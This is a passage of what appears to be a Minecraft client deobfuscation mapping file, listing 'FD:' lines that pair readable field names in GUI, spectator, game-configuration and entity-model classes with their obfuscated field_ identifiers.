net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152336_g +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152337_h net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152337_h +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152338_i net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152338_i +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152332_r net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152332_r +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/stream net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152333_s +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152334_t net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152334_t +FD: net/minecraft/client/gui/spectator/PlayerMenuObject/profile net/minecraft/client/gui/spectator/PlayerMenuObject/field_178668_a +FD: net/minecraft/client/gui/spectator/PlayerMenuObject/resourceLocation net/minecraft/client/gui/spectator/PlayerMenuObject/field_178667_b +FD: net/minecraft/client/gui/spectator/BaseSpectatorGroup/field_178671_a net/minecraft/client/gui/spectator/BaseSpectatorGroup/field_178671_a +FD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/field_178666_a net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/field_178666_a +FD: net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/field_178665_b net/minecraft/client/gui/spectator/SpectatorMenu$MoveMenuObject/field_178665_b +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178657_a net/minecraft/client/gui/spectator/SpectatorMenu/field_178657_a +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178655_b net/minecraft/client/gui/spectator/SpectatorMenu/field_178655_b +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178656_c net/minecraft/client/gui/spectator/SpectatorMenu/field_178656_c +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178653_d net/minecraft/client/gui/spectator/SpectatorMenu/field_178653_d +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178654_e net/minecraft/client/gui/spectator/SpectatorMenu/field_178654_e +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178651_f net/minecraft/client/gui/spectator/SpectatorMenu/field_178651_f +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178652_g net/minecraft/client/gui/spectator/SpectatorMenu/field_178652_g +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178659_h net/minecraft/client/gui/spectator/SpectatorMenu/field_178659_h +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178660_i net/minecraft/client/gui/spectator/SpectatorMenu/field_178660_i +FD: net/minecraft/client/gui/spectator/SpectatorMenu/field_178658_j net/minecraft/client/gui/spectator/SpectatorMenu/field_178658_j +FD: net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178684_a net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178684_a +FD: net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178682_b net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178682_b +FD: net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178683_c net/minecraft/client/gui/spectator/categories/SpectatorDetails/field_178683_c +FD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/field_178674_a net/minecraft/client/gui/spectator/categories/TeleportToPlayer/field_178674_a +FD: net/minecraft/client/gui/spectator/categories/TeleportToPlayer/field_178673_b net/minecraft/client/gui/spectator/categories/TeleportToPlayer/field_178673_b +FD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178678_a net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178678_a +FD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178676_b net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178676_b +FD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178677_c net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178677_c +FD: net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178675_d net/minecraft/client/gui/spectator/categories/TeleportToTeam$TeamSelectionObject/field_178675_d +FD: net/minecraft/client/gui/spectator/categories/TeleportToTeam/field_178672_a net/minecraft/client/gui/spectator/categories/TeleportToTeam/field_178672_a +FD: net/minecraft/client/main/GameConfiguration$DisplayInformation/width net/minecraft/client/main/GameConfiguration$DisplayInformation/field_178764_a +FD: net/minecraft/client/main/GameConfiguration$DisplayInformation/height net/minecraft/client/main/GameConfiguration$DisplayInformation/field_178762_b +FD: net/minecraft/client/main/GameConfiguration$DisplayInformation/fullscreen net/minecraft/client/main/GameConfiguration$DisplayInformation/field_178763_c +FD: net/minecraft/client/main/GameConfiguration$DisplayInformation/checkGlErrors net/minecraft/client/main/GameConfiguration$DisplayInformation/field_178761_d +FD: net/minecraft/client/main/GameConfiguration$FolderInformation/mcDataDir net/minecraft/client/main/GameConfiguration$FolderInformation/field_178760_a +FD: net/minecraft/client/main/GameConfiguration$FolderInformation/resourcePacksDir net/minecraft/client/main/GameConfiguration$FolderInformation/field_178758_b +FD: net/minecraft/client/main/GameConfiguration$FolderInformation/assetsDir net/minecraft/client/main/GameConfiguration$FolderInformation/field_178759_c +FD: net/minecraft/client/main/GameConfiguration$FolderInformation/assetIndex net/minecraft/client/main/GameConfiguration$FolderInformation/field_178757_d +FD: net/minecraft/client/main/GameConfiguration$GameInformation/isDemo net/minecraft/client/main/GameConfiguration$GameInformation/field_178756_a +FD: net/minecraft/client/main/GameConfiguration$GameInformation/version net/minecraft/client/main/GameConfiguration$GameInformation/field_178755_b +FD: net/minecraft/client/main/GameConfiguration$ServerInformation/serverName net/minecraft/client/main/GameConfiguration$ServerInformation/field_178754_a +FD: net/minecraft/client/main/GameConfiguration$ServerInformation/serverPort net/minecraft/client/main/GameConfiguration$ServerInformation/field_178753_b +FD: net/minecraft/client/main/GameConfiguration$UserInformation/session net/minecraft/client/main/GameConfiguration$UserInformation/field_178752_a +FD: net/minecraft/client/main/GameConfiguration$UserInformation/userProperties net/minecraft/client/main/GameConfiguration$UserInformation/field_178750_b +FD: net/minecraft/client/main/GameConfiguration$UserInformation/profileProperties net/minecraft/client/main/GameConfiguration$UserInformation/field_181172_c +FD: net/minecraft/client/main/GameConfiguration$UserInformation/proxy net/minecraft/client/main/GameConfiguration$UserInformation/field_178751_c +FD: net/minecraft/client/main/GameConfiguration/userInfo net/minecraft/client/main/GameConfiguration/field_178745_a +FD: net/minecraft/client/main/GameConfiguration/displayInfo net/minecraft/client/main/GameConfiguration/field_178743_b +FD: net/minecraft/client/main/GameConfiguration/folderInfo net/minecraft/client/main/GameConfiguration/field_178744_c +FD: net/minecraft/client/main/GameConfiguration/gameInfo net/minecraft/client/main/GameConfiguration/field_178741_d +FD: net/minecraft/client/main/GameConfiguration/serverInfo net/minecraft/client/main/GameConfiguration/field_178742_e +FD: net/minecraft/client/model/ModelArmorStand/standRightSide net/minecraft/client/model/ModelArmorStand/field_178740_a +FD: net/minecraft/client/model/ModelArmorStand/standLeftSide net/minecraft/client/model/ModelArmorStand/field_178738_b +FD: net/minecraft/client/model/ModelArmorStand/standWaist net/minecraft/client/model/ModelArmorStand/field_178739_c +FD: net/minecraft/client/model/ModelArmorStand/standBase net/minecraft/client/model/ModelArmorStand/field_178737_d +FD: net/minecraft/client/model/ModelBanner/bannerSlate net/minecraft/client/model/ModelBanner/field_178690_a +FD: net/minecraft/client/model/ModelBanner/bannerStand net/minecraft/client/model/ModelBanner/field_178688_b +FD: net/minecraft/client/model/ModelBanner/bannerTop net/minecraft/client/model/ModelBanner/field_178689_c +FD: net/minecraft/client/model/ModelBat/batHead net/minecraft/client/model/ModelBat/field_82895_a +FD: net/minecraft/client/model/ModelBat/batBody net/minecraft/client/model/ModelBat/field_82893_b +FD: net/minecraft/client/model/ModelBat/batRightWing net/minecraft/client/model/ModelBat/field_82894_c +FD: net/minecraft/client/model/ModelBat/batLeftWing net/minecraft/client/model/ModelBat/field_82891_d +FD: net/minecraft/client/model/ModelBat/batOuterRightWing net/minecraft/client/model/ModelBat/field_82892_e +FD: net/minecraft/client/model/ModelBat/batOuterLeftWing net/minecraft/client/model/ModelBat/field_82890_f +FD: net/minecraft/client/model/ModelBlaze/blazeSticks net/minecraft/client/model/ModelBlaze/field_78106_a +FD: net/minecraft/client/model/ModelBlaze/blazeHead net/minecraft/client/model/ModelBlaze/field_78105_b +FD: net/minecraft/client/model/ModelBoat/boatSides net/minecraft/client/model/ModelBoat/field_78103_a +FD: net/minecraft/client/model/ModelBook/coverRight net/minecraft/client/model/ModelBook/field_78102_a +FD: net/minecraft/client/model/ModelBook/coverLeft net/minecraft/client/model/ModelBook/field_78100_b +FD: net/minecraft/client/model/ModelBook/pagesRight net/minecraft/client/model/ModelBook/field_78101_c +FD: net/minecraft/client/model/ModelBook/pagesLeft net/minecraft/client/model/ModelBook/field_78098_d +FD: net/minecraft/client/model/ModelBook/flippingPageRight net/minecraft/client/model/ModelBook/field_78099_e +FD: net/minecraft/client/model/ModelBook/flippingPageLeft net/minecraft/client/model/ModelBook/field_78096_f +FD: net/minecraft/client/model/ModelBook/bookSpine net/minecraft/client/model/ModelBook/field_78097_g +FD: net/minecraft/client/model/ModelChest/chestLid net/minecraft/client/model/ModelChest/field_78234_a +FD: net/minecraft/client/model/ModelChest/chestBelow net/minecraft/client/model/ModelChest/field_78232_b +FD: net/minecraft/client/model/ModelChest/chestKnob net/minecraft/client/model/ModelChest/field_78233_c +FD: net/minecraft/client/model/ModelChicken/head net/minecraft/client/model/ModelChicken/field_78142_a +FD: net/minecraft/client/model/ModelChicken/body net/minecraft/client/model/ModelChicken/field_78140_b +FD: net/minecraft/client/model/ModelChicken/rightLeg net/minecraft/client/model/ModelChicken/field_78141_c +FD: net/minecraft/client/model/ModelChicken/leftLeg net/minecraft/client/model/ModelChicken/field_78138_d +FD: net/minecraft/client/model/ModelChicken/rightWing net/minecraft/client/model/ModelChicken/field_78139_e +FD: net/minecraft/client/model/ModelChicken/leftWing net/minecraft/client/model/ModelChicken/field_78136_f +FD: net/minecraft/client/model/ModelChicken/bill net/minecraft/client/model/ModelChicken/field_78137_g +FD: net/minecraft/client/model/ModelChicken/chin net/minecraft/client/model/ModelChicken/field_78143_h +FD: net/minecraft/client/model/ModelCreeper/head net/minecraft/client/model/ModelCreeper/field_78135_a +FD: net/minecraft/client/model/ModelCreeper/creeperArmor net/minecraft/client/model/ModelCreeper/field_78133_b +FD: net/minecraft/client/model/ModelCreeper/body net/minecraft/client/model/ModelCreeper/field_78134_c +FD: net/minecraft/client/model/ModelCreeper/leg1 net/minecraft/client/model/ModelCreeper/field_78131_d +FD: net/minecraft/client/model/ModelCreeper/leg2 net/minecraft/client/model/ModelCreeper/field_78132_e +FD: net/minecraft/client/model/ModelCreeper/leg3 net/minecraft/client/model/ModelCreeper/field_78129_f +FD: net/minecraft/client/model/ModelCreeper/leg4 net/minecraft/client/model/ModelCreeper/field_78130_g +FD: net/minecraft/client/model/ModelEnderman/isCarrying net/minecraft/client/model/ModelEnderman/field_78126_a +FD: net/minecraft/client/model/ModelEnderman/isAttacking net/minecraft/client/model/ModelEnderman/field_78125_b +FD: net/minecraft/client/model/ModelEnderMite/field_178716_a net/minecraft/client/model/ModelEnderMite/field_178716_a +FD: net/minecraft/client/model/ModelEnderMite/field_178714_b net/minecraft/client/model/ModelEnderMite/field_178714_b +FD: net/minecraft/client/model/ModelEnderMite/field_178715_c net/minecraft/client/model/ModelEnderMite/field_178715_c +FD: net/minecraft/client/model/ModelEnderMite/field_178713_d net/minecraft/client/model/ModelEnderMite/field_178713_d +FD: net/minecraft/client/model/ModelGhast/body net/minecraft/client/model/ModelGhast/field_78128_a +FD: net/minecraft/client/model/ModelGhast/tentacles net/minecraft/client/model/ModelGhast/field_78127_b +FD: net/minecraft/client/model/ModelGuardian/guardianBody net/minecraft/client/model/ModelGuardian/field_178710_a +FD: net/minecraft/client/model/ModelGuardian/guardianEye net/minecraft/client/model/ModelGuardian/field_178708_b +FD: net/minecraft/client/model/ModelGuardian/guardianSpines net/minecraft/client/model/ModelGuardian/field_178709_c +FD: net/minecraft/client/model/ModelGuardian/guardianTail net/minecraft/client/model/ModelGuardian/field_178707_d +FD: net/minecraft/client/model/ModelHorse/frontLeftLeg net/minecraft/client/model/ModelHorse/field_110688_A +FD: net/minecraft/client/model/ModelHorse/frontLeftShin net/minecraft/client/model/ModelHorse/field_110689_B +FD: net/minecraft/client/model/ModelHorse/frontLeftHoof net/minecraft/client/model/ModelHorse/field_110690_C +FD: net/minecraft/client/model/ModelHorse/frontRightLeg net/minecraft/client/model/ModelHorse/field_110684_D +FD: net/minecraft/client/model/ModelHorse/frontRightShin net/minecraft/client/model/ModelHorse/field_110685_E +FD: net/minecraft/client/model/ModelHorse/frontRightHoof net/minecraft/client/model/ModelHorse/field_110686_F +FD: net/minecraft/client/model/ModelHorse/muleLeftChest net/minecraft/client/model/ModelHorse/field_110687_G +FD: net/minecraft/client/model/ModelHorse/muleRightChest net/minecraft/client/model/ModelHorse/field_110695_H +FD: net/minecraft/client/model/ModelHorse/horseSaddleBottom net/minecraft/client/model/ModelHorse/field_110696_I +FD: net/minecraft/client/model/ModelHorse/horseSaddleFront net/minecraft/client/model/ModelHorse/field_110697_J +FD: net/minecraft/client/model/ModelHorse/horseSaddleBack net/minecraft/client/model/ModelHorse/field_110698_K +FD: net/minecraft/client/model/ModelHorse/horseLeftSaddleRope net/minecraft/client/model/ModelHorse/field_110691_L +FD: net/minecraft/client/model/ModelHorse/horseLeftSaddleMetal net/minecraft/client/model/ModelHorse/field_110692_M +FD: net/minecraft/client/model/ModelHorse/horseRightSaddleRope net/minecraft/client/model/ModelHorse/field_110693_N +FD: net/minecraft/client/model/ModelHorse/horseRightSaddleMetal net/minecraft/client/model/ModelHorse/field_110694_O +FD: net/minecraft/client/model/ModelHorse/horseLeftFaceMetal net/minecraft/client/model/ModelHorse/field_110700_P +FD: net/minecraft/client/model/ModelHorse/horseRightFaceMetal net/minecraft/client/model/ModelHorse/field_110699_Q +FD: net/minecraft/client/model/ModelHorse/horseLeftRein net/minecraft/client/model/ModelHorse/field_110702_R +FD: net/minecraft/client/model/ModelHorse/horseRightRein net/minecraft/client/model/ModelHorse/field_110701_S +FD: net/minecraft/client/model/ModelHorse/head net/minecraft/client/model/ModelHorse/field_110709_a +FD: net/minecraft/client/model/ModelHorse/field_178711_b net/minecraft/client/model/ModelHorse/field_178711_b +FD: net/minecraft/client/model/ModelHorse/field_178712_c net/minecraft/client/model/ModelHorse/field_178712_c +FD: net/minecraft/client/model/ModelHorse/horseLeftEar net/minecraft/client/model/ModelHorse/field_110705_d +FD: net/minecraft/client/model/ModelHorse/horseRightEar net/minecraft/client/model/ModelHorse/field_110706_e +FD: net/minecraft/client/model/ModelHorse/muleLeftEar net/minecraft/client/model/ModelHorse/field_110703_f +FD: net/minecraft/client/model/ModelHorse/muleRightEar net/minecraft/client/model/ModelHorse/field_110704_g +FD: net/minecraft/client/model/ModelHorse/neck net/minecraft/client/model/ModelHorse/field_110716_h +FD: net/minecraft/client/model/ModelHorse/horseFaceRopes net/minecraft/client/model/ModelHorse/field_110717_i +FD: net/minecraft/client/model/ModelHorse/mane net/minecraft/client/model/ModelHorse/field_110714_j +FD: net/minecraft/client/model/ModelHorse/body net/minecraft/client/model/ModelHorse/field_110715_k +FD: net/minecraft/client/model/ModelHorse/tailBase net/minecraft/client/model/ModelHorse/field_110712_l +FD: net/minecraft/client/model/ModelHorse/tailMiddle net/minecraft/client/model/ModelHorse/field_110713_m +FD: net/minecraft/client/model/ModelHorse/tailTip net/minecraft/client/model/ModelHorse/field_110710_n +FD: net/minecraft/client/model/ModelHorse/backLeftLeg net/minecraft/client/model/ModelHorse/field_110711_o +FD: net/minecraft/client/model/ModelHorse/backLeftShin net/minecraft/client/model/ModelHorse/field_110719_v +FD: net/minecraft/client/model/ModelHorse/backLeftHoof net/minecraft/client/model/ModelHorse/field_110718_w +FD: net/minecraft/client/model/ModelHorse/backRightLeg net/minecraft/client/model/ModelHorse/field_110722_x +FD: net/minecraft/client/model/ModelHorse/backRightShin net/minecraft/client/model/ModelHorse/field_110721_y +FD: net/minecraft/client/model/ModelHorse/backRightHoof net/minecraft/client/model/ModelHorse/field_110720_z +FD: net/minecraft/client/model/ModelHumanoidHead/head net/minecraft/client/model/ModelHumanoidHead/field_178717_b +FD: net/minecraft/client/model/ModelBiped/bipedHead net/minecraft/client/model/ModelBiped/field_78116_c +FD: net/minecraft/client/model/ModelBiped/bipedHeadwear net/minecraft/client/model/ModelBiped/field_178720_f +FD: net/minecraft/client/model/ModelBiped/bipedBody net/minecraft/client/model/ModelBiped/field_78115_e +FD: net/minecraft/client/model/ModelBiped/bipedRightArm net/minecraft/client/model/ModelBiped/field_178723_h +FD: net/minecraft/client/model/ModelBiped/bipedLeftArm net/minecraft/client/model/ModelBiped/field_178724_i +FD: net/minecraft/client/model/ModelBiped/bipedRightLeg net/minecraft/client/model/ModelBiped/field_178721_j +FD: net/minecraft/client/model/ModelBiped/bipedLeftLeg net/minecraft/client/model/ModelBiped/field_178722_k +FD: net/minecraft/client/model/ModelBiped/heldItemLeft net/minecraft/client/model/ModelBiped/field_78119_l +FD: net/minecraft/client/model/ModelBiped/heldItemRight net/minecraft/client/model/ModelBiped/field_78120_m +FD: net/minecraft/client/model/ModelBiped/isSneak net/minecraft/client/model/ModelBiped/field_78117_n +FD: net/minecraft/client/model/ModelBiped/aimedBow net/minecraft/client/model/ModelBiped/field_78118_o +FD: net/minecraft/client/model/ModelMagmaCube/segments net/minecraft/client/model/ModelMagmaCube/field_78109_a +FD: net/minecraft/client/model/ModelMagmaCube/core net/minecraft/client/model/ModelMagmaCube/field_78108_b +FD: net/minecraft/client/model/ModelLeashKnot/field_110723_a net/minecraft/client/model/ModelLeashKnot/field_110723_a +FD: net/minecraft/client/model/ModelMinecart/sideModels net/minecraft/client/model/ModelMinecart/field_78154_a +FD: net/minecraft/client/model/ModelBase/modelTextureMap net/minecraft/client/model/ModelBase/field_78094_a +FD: net/minecraft/client/model/ModelBase/swingProgress net/minecraft/client/model/ModelBase/field_78095_p +FD: net/minecraft/client/model/ModelBase/isRiding net/minecraft/client/model/ModelBase/field_78093_q +FD: net/minecraft/client/model/ModelBase/isChild net/minecraft/client/model/ModelBase/field_78091_s +FD: net/minecraft/client/model/ModelBase/boxList net/minecraft/client/model/ModelBase/field_78092_r +FD: net/minecraft/client/model/ModelBase/textureWidth net/minecraft/client/model/ModelBase/field_78090_t +FD: net/minecraft/client/model/ModelBase/textureHeight net/minecraft/client/model/ModelBase/field_78089_u +FD: net/minecraft/client/model/ModelOcelot/ocelotBackLeftLeg net/minecraft/client/model/ModelOcelot/field_78161_a +FD: net/minecraft/client/model/ModelOcelot/ocelotBackRightLeg net/minecraft/client/model/ModelOcelot/field_78159_b +FD: net/minecraft/client/model/ModelOcelot/ocelotFrontLeftLeg net/minecraft/client/model/ModelOcelot/field_78160_c +FD: net/minecraft/client/model/ModelOcelot/ocelotFrontRightLeg net/minecraft/client/model/ModelOcelot/field_78157_d +FD: net/minecraft/client/model/ModelOcelot/ocelotTail net/minecraft/client/model/ModelOcelot/field_78158_e +FD: net/minecraft/client/model/ModelOcelot/ocelotTail2 net/minecraft/client/model/ModelOcelot/field_78155_f +FD: net/minecraft/client/model/ModelOcelot/ocelotHead net/minecraft/client/model/ModelOcelot/field_78156_g +FD: net/minecraft/client/model/ModelOcelot/ocelotBody net/minecraft/client/model/ModelOcelot/field_78162_h +FD: net/minecraft/client/model/ModelOcelot/field_78163_i net/minecraft/client/model/ModelOcelot/field_78163_i +FD: net/minecraft/client/model/ModelPlayer/bipedLeftArmwear net/minecraft/client/model/ModelPlayer/field_178734_a +FD: net/minecraft/client/model/ModelPlayer/bipedRightArmwear net/minecraft/client/model/ModelPlayer/field_178732_b +FD: net/minecraft/client/model/ModelPlayer/bipedLeftLegwear net/minecraft/client/model/ModelPlayer/field_178733_c +FD: net/minecraft/client/model/ModelPlayer/bipedRightLegwear net/minecraft/client/model/ModelPlayer/field_178731_d +FD: net/minecraft/client/model/ModelPlayer/bipedBodyWear net/minecraft/client/model/ModelPlayer/field_178730_v +FD: net/minecraft/client/model/ModelPlayer/bipedCape net/minecraft/client/model/ModelPlayer/field_178729_w +FD: net/minecraft/client/model/ModelPlayer/bipedDeadmau5Head net/minecraft/client/model/ModelPlayer/field_178736_x +FD: net/minecraft/client/model/ModelPlayer/smallArms net/minecraft/client/model/ModelPlayer/field_178735_y +FD: net/minecraft/client/model/TexturedQuad/vertexPositions net/minecraft/client/model/TexturedQuad/field_78239_a +FD: net/minecraft/client/model/TexturedQuad/nVertices net/minecraft/client/model/TexturedQuad/field_78237_b +FD: net/minecraft/client/model/TexturedQuad/invertNormal net/minecraft/client/model/TexturedQuad/field_78238_c +FD: net/minecraft/client/model/ModelQuadruped/head net/minecraft/client/model/ModelQuadruped/field_78150_a +FD: net/minecraft/client/model/ModelQuadruped/body net/minecraft/client/model/ModelQuadruped/field_78148_b +FD: net/minecraft/client/model/ModelQuadruped/leg1 net/minecraft/client/model/ModelQuadruped/field_78149_c +FD: net/minecraft/client/model/ModelQuadruped/leg2 net/minecraft/client/model/ModelQuadruped/field_78146_d +FD: net/minecraft/client/model/ModelQuadruped/leg3 net/minecraft/client/model/ModelQuadruped/field_78147_e +FD: net/minecraft/client/model/ModelQuadruped/leg4 net/minecraft/client/model/ModelQuadruped/field_78144_f +FD: net/minecraft/client/model/ModelQuadruped/childYOffset net/minecraft/client/model/ModelQuadruped/field_78145_g +FD: net/minecraft/client/model/ModelQuadruped/childZOffset net/minecraft/client/model/ModelQuadruped/field_78151_h +FD: net/minecraft/client/model/ModelRabbit/rabbitLeftFoot net/minecraft/client/model/ModelRabbit/field_178698_a +FD: net/minecraft/client/model/ModelRabbit/rabbitRightFoot net/minecraft/client/model/ModelRabbit/field_178696_b +FD: net/minecraft/client/model/ModelRabbit/rabbitLeftThigh net/minecraft/client/model/ModelRabbit/field_178697_c +FD: net/minecraft/client/model/ModelRabbit/rabbitRightThigh net/minecraft/client/model/ModelRabbit/field_178694_d +FD: net/minecraft/client/model/ModelRabbit/rabbitBody net/minecraft/client/model/ModelRabbit/field_178695_e +FD: net/minecraft/client/model/ModelRabbit/rabbitLeftArm net/minecraft/client/model/ModelRabbit/field_178692_f +FD: net/minecraft/client/model/ModelRabbit/rabbitRightArm net/minecraft/client/model/ModelRabbit/field_178693_g +FD: net/minecraft/client/model/ModelRabbit/rabbitHead net/minecraft/client/model/ModelRabbit/field_178704_h +FD: net/minecraft/client/model/ModelRabbit/rabbitRightEar net/minecraft/client/model/ModelRabbit/field_178705_i +FD: net/minecraft/client/model/ModelRabbit/rabbitLeftEar net/minecraft/client/model/ModelRabbit/field_178702_j +FD: net/minecraft/client/model/ModelRabbit/rabbitTail net/minecraft/client/model/ModelRabbit/field_178703_k +FD: net/minecraft/client/model/ModelRabbit/rabbitNose net/minecraft/client/model/ModelRabbit/field_178700_l +FD: net/minecraft/client/model/ModelRabbit/field_178701_m net/minecraft/client/model/ModelRabbit/field_178701_m +FD: net/minecraft/client/model/ModelRabbit/field_178699_n net/minecraft/client/model/ModelRabbit/field_178699_n +FD: net/minecraft/client/model/ModelSheep1/headRotationAngleX net/minecraft/client/model/ModelSheep1/field_78152_i +FD: net/minecraft/client/model/ModelSheep2/headRotationAngleX net/minecraft/client/model/ModelSheep2/field_78153_i +FD: net/minecraft/client/model/ModelSign/signBoard net/minecraft/client/model/ModelSign/field_78166_a +FD: net/minecraft/client/model/ModelSign/signStick net/minecraft/client/model/ModelSign/field_78165_b +FD: net/minecraft/client/model/ModelSilverfish/silverfishBodyParts net/minecraft/client/model/ModelSilverfish/field_78171_a +FD: net/minecraft/client/model/ModelSilverfish/silverfishWings net/minecraft/client/model/ModelSilverfish/field_78169_b +FD: net/minecraft/client/model/ModelSilverfish/field_78170_c net/minecraft/client/model/ModelSilverfish/field_78170_c +FD: net/minecraft/client/model/ModelSilverfish/silverfishBoxLength net/minecraft/client/model/ModelSilverfish/field_78167_d +FD: net/minecraft/client/model/ModelSilverfish/silverfishTexturePositions net/minecraft/client/model/ModelSilverfish/field_78168_e +FD: net/minecraft/client/model/ModelSkeletonHead/skeletonHead net/minecraft/client/model/ModelSkeletonHead/field_82896_a +FD: net/minecraft/client/model/ModelSlime/slimeBodies net/minecraft/client/model/ModelSlime/field_78200_a +FD: net/minecraft/client/model/ModelSlime/slimeRightEye net/minecraft/client/model/ModelSlime/field_78198_b +FD: net/minecraft/client/model/ModelSlime/slimeLeftEye net/minecraft/client/model/ModelSlime/field_78199_c +FD: net/minecraft/client/model/ModelSlime/slimeMouth net/minecraft/client/model/ModelSlime/field_78197_d +FD: net/minecraft/client/model/ModelSnowMan/body net/minecraft/client/model/ModelSnowMan/field_78196_a +FD: net/minecraft/client/model/ModelSnowMan/bottomBody net/minecraft/client/model/ModelSnowMan/field_78194_b +FD: net/minecraft/client/model/ModelSnowMan/head net/minecraft/client/model/ModelSnowMan/field_78195_c +FD: net/minecraft/client/model/ModelSnowMan/rightHand net/minecraft/client/model/ModelSnowMan/field_78192_d +FD: net/minecraft/client/model/ModelSnowMan/leftHand net/minecraft/client/model/ModelSnowMan/field_78193_e +FD: net/minecraft/client/model/ModelSpider/spiderHead net/minecraft/client/model/ModelSpider/field_78209_a +FD: net/minecraft/client/model/ModelSpider/spiderNeck net/minecraft/client/model/ModelSpider/field_78207_b +FD: net/minecraft/client/model/ModelSpider/spiderBody net/minecraft/client/model/ModelSpider/field_78208_c +FD: net/minecraft/client/model/ModelSpider/spiderLeg1 net/minecraft/client/model/ModelSpider/field_78205_d +FD: net/minecraft/client/model/ModelSpider/spiderLeg2 net/minecraft/client/model/ModelSpider/field_78206_e +FD: net/minecraft/client/model/ModelSpider/spiderLeg3 net/minecraft/client/model/ModelSpider/field_78203_f +FD: net/minecraft/client/model/ModelSpider/spiderLeg4 net/minecraft/client/model/ModelSpider/field_78204_g +FD: net/minecraft/client/model/ModelSpider/spiderLeg5 net/minecraft/client/model/ModelSpider/field_78212_h +FD: net/minecraft/client/model/ModelSpider/spiderLeg6 net/minecraft/client/model/ModelSpider/field_78213_i +FD: net/minecraft/client/model/ModelSpider/spiderLeg7 net/minecraft/client/model/ModelSpider/field_78210_j +FD: net/minecraft/client/model/ModelSpider/spiderLeg8 net/minecraft/client/model/ModelSpider/field_78211_k +FD: net/minecraft/client/model/ModelSquid/squidBody net/minecraft/client/model/ModelSquid/field_78202_a +FD: net/minecraft/client/model/ModelSquid/squidTentacles net/minecraft/client/model/ModelSquid/field_78201_b +FD: net/minecraft/client/model/PositionTextureVertex/vector3D net/minecraft/client/model/PositionTextureVertex/field_78243_a +FD: net/minecraft/client/model/PositionTextureVertex/texturePositionX net/minecraft/client/model/PositionTextureVertex/field_78241_b +FD: net/minecraft/client/model/PositionTextureVertex/texturePositionY net/minecraft/client/model/PositionTextureVertex/field_78242_c +FD: net/minecraft/client/model/ModelIronGolem/ironGolemHead net/minecraft/client/model/ModelIronGolem/field_78178_a +FD: net/minecraft/client/model/ModelIronGolem/ironGolemBody net/minecraft/client/model/ModelIronGolem/field_78176_b +FD: net/minecraft/client/model/ModelIronGolem/ironGolemRightArm net/minecraft/client/model/ModelIronGolem/field_78177_c +FD: net/minecraft/client/model/ModelIronGolem/ironGolemLeftArm net/minecraft/client/model/ModelIronGolem/field_78174_d +FD: net/minecraft/client/model/ModelIronGolem/ironGolemLeftLeg net/minecraft/client/model/ModelIronGolem/field_78175_e +FD: net/minecraft/client/model/ModelIronGolem/ironGolemRightLeg net/minecraft/client/model/ModelIronGolem/field_78173_f +FD: net/minecraft/client/model/ModelVillager/villagerHead net/minecraft/client/model/ModelVillager/field_78191_a +FD: net/minecraft/client/model/ModelVillager/villagerBody net/minecraft/client/model/ModelVillager/field_78189_b +FD: net/minecraft/client/model/ModelVillager/villagerArms net/minecraft/client/model/ModelVillager/field_78190_c +FD: net/minecraft/client/model/ModelVillager/rightVillagerLeg net/minecraft/client/model/ModelVillager/field_78187_d +FD: net/minecraft/client/model/ModelVillager/leftVillagerLeg net/minecraft/client/model/ModelVillager/field_78188_e +FD: net/minecraft/client/model/ModelVillager/villagerNose net/minecraft/client/model/ModelVillager/field_82898_f +FD: net/minecraft/client/model/ModelWitch/field_82900_g net/minecraft/client/model/ModelWitch/field_82900_g +FD: net/minecraft/client/model/ModelWitch/field_82901_h net/minecraft/client/model/ModelWitch/field_82901_h +FD: net/minecraft/client/model/ModelWitch/witchHat net/minecraft/client/model/ModelWitch/field_82902_i +FD: net/minecraft/client/model/ModelWither/field_82905_a net/minecraft/client/model/ModelWither/field_82905_a +FD: net/minecraft/client/model/ModelWither/field_82904_b net/minecraft/client/model/ModelWither/field_82904_b +FD: net/minecraft/client/model/ModelWolf/wolfHeadMain net/minecraft/client/model/ModelWolf/field_78185_a +FD: net/minecraft/client/model/ModelWolf/wolfBody net/minecraft/client/model/ModelWolf/field_78183_b +FD: net/minecraft/client/model/ModelWolf/wolfLeg1 net/minecraft/client/model/ModelWolf/field_78184_c +FD: net/minecraft/client/model/ModelWolf/wolfLeg2 net/minecraft/client/model/ModelWolf/field_78181_d +FD: net/minecraft/client/model/ModelWolf/wolfLeg3 net/minecraft/client/model/ModelWolf/field_78182_e +FD: net/minecraft/client/model/ModelWolf/wolfLeg4 net/minecraft/client/model/ModelWolf/field_78179_f +FD: net/minecraft/client/model/ModelWolf/wolfTail 